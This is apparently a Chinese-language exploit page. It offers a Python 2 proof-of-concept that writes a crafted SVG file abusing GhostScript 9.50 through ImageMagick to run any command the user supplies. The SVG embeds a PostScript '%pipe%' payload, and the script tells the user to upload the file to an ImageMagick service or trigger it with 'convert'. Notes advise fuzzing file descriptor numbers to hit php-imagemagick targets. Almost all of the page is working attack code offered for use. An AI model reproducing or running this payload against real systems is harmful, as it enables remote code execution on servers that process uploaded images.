目录导航
当 GhostScript 9.50 的 0 天被利用时,python 中的 PoC 会生成payloads。此 0 天漏洞利用 Ubuntu 存储库中的默认设置对 ImageMagick 产生影响(在 Ubuntu 20.04 上使用 ImageMagick 的默认设置进行测试)
IM-RCE-via-GhostScript-9.5.py
#from ducnt import <3
import sys
def genareate_payload(_cmd,_filename):
_payload = """<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <hui><desc>copies (%pipe%/tmp/;{}) (r) file showpage 0 quit </desc> <image href="epi:/proc/self/fd/3" /> <svg width="1px" height="1px" /> </hui>""".format(_cmd)
f = open(_filename,"w+").write(_payload)
return True
def main():
if len(sys.argv) < 3:
print "Usage: python IM-RCE-via-GhostScript-9.5.py <CMD> <Exploit-File>"
exit()
_cmd = sys.argv[1]
_filename = sys.argv[2]
genareate_payload(_cmd,_filename)
print "Generating malicious payload successfully, upload it to Imagemagick service or trigger local via bash cmd: $ convert <Exploit-File> <Output-File>"
if __name__ == "__main__":
main()
用法:
python IM-RCE-via-GhostScript-9.5.py <CMD> <Exploit-File>
演示:

注意到 php-imagemagick,有时你必须找到正确的fd/<number>
. 做这些事情的最简单的方法是模糊逻辑和类似的东西(用 Ubuntu 20.04 测试并安装了默认的 php-imagemagick)
